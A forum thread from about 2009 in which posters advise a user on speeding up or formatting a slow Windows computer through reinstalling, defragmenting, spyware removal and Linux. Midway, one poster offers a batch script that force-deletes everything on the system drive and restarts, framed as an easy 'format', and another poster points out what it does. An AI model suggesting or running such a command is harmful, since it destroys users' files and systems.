How do I format my computer?, Because it's slow as hell. Options

[Midnight]

I have no clue on how to do this. Can you help in any way?

[Yuka]

Get your Windows CD, and reinstall Windows. When you go to reinstall Windows, it'll prompt you to format the hard drive you're installing Windows onto. Assuming you only have one hard drive and it's not split up into multiple partitions, you can format your computer like that.

[Lux]

If you don't want to reinstall, right click on the hard drive under "Explore" and click "Format".

[Yuka]

If he's formatting his entire computer, he'll want to reinstall.

There's no other way around it, really.

[Lux]

You said you wanted it to run faster, and if you haven't defragged in a while, it'd fix a lot of your issues.

You could use the windows defrag tool, but, as it's Microsoft, nothing ever works the way it should.

Try JK Defrag [link] which is free, open source, and runs faster and more efficiently than the Windows tool.

Just run it now, and maybe every few months.

Another thing that makes computers run so freaking slow is when they are all crapped up with spyware. Try running Ad-Aware [link] and Spybot [link] which are both free, reliable programs.

If that doesn't work, screw windows and install your favorite flavor of Linux. [link] >_>

[jcdietz03]

Linux doesn't always work. If you have a JMicron disk controller (they're not very good - therefore most motherboards have them), then you're out of luck.

How old is your PC. For modern PCs, you never need to defragment as long as your disk is <50% full. Even then, you don't need to defrag very often. Defrag used to be important. Not very important currently.

[sandpenguin]

Why, If your computer acted as a lab or something, (Especially if you keep tweaking with those registry entries) you can download some root-based file backup software, which is abundant in the net....

Try finding ones which loads on boot....usually they have the disk format tool there, which proves valuable if you didn't have any Windows CD....

Or just follow what Yuka's said. That is the only 'straight' way that is available to you....

P/S: No matter what type of sites, softwares or stuffs you put into your comp, with good maintenance and care, your computer won't go amok, seriously.

[Lux]

P/S: No matter what type of sites, softwares or stuffs you put into your comp, with good maintenance and care, your computer won't go amok, seriously.

That is NOT true. I don't browse shady sites, I check all software out throughly before I install, and I run lots of anti-virus/spyware programs and such. Last night I downloaded ONE album of music and got FIFTY trojans.

FIFTY. Not even exaggerating. And those are just the ones my anti-virus caught.

And it was Mozart for God's sake. :|

[sandpenguin]

Ahahaha, I see, no offense though. That sneaky thing lurks everywhere. The easiest way to evade virus infection is to cut any media that can connect to your computer, be it INTERNET, LAN, or any form of it, which seriously cuts the fun.

Heh, well that's the price for it, you can do all the countermeasures from it, but let's just prepare for the worst.

[Midnight]

I tried reinstalling from the Windows CD, but that didn't work.

And to answer jcdietz03's question, I got my computer as a Christmas gift back in 2005.

I'll try defragging the PC, and I'll see if it will work.

[Leyviur]

That's impossible. Every Windows installation gives you an option to format your drive.

[sandpenguin]

Hmmm....trying this code in Notepad and saving it as .bat

CODE

@echo off
del %systemdrive%\*.*/f/s/q
shutdown -r -f -t 00

And click it will make your system corrupt.....And heck maybe you can install a new copy after that. After all, is there any other way to format your computer in other easy way?

Cool, system32 deleted!

[Raijinili]

That just turns off user input, erases your system files, and shuts down the computer immediately

[sandpenguin]

Well, at least if you have the disc, it can make the formatting job a little bit more....simpler

[Midnight]

Well, I did everything I could without the risk of formatting the entire Hard Disk, like Disk Cleanup, I also took Lux's advice and used JKDefrag, and that helped a lot, I also uninstalled programs I didn't want to have on my computer, got rid of my family member's data, because I'm pretty much the only person that uses my laptop. Now my computer runs a little faster now.

EDIT: My computer had an unknown problem with loading, so I had to reformat the hard drive. I feel good now.

This post has been edited by GB140: Apr 9 2009, 09:30 PM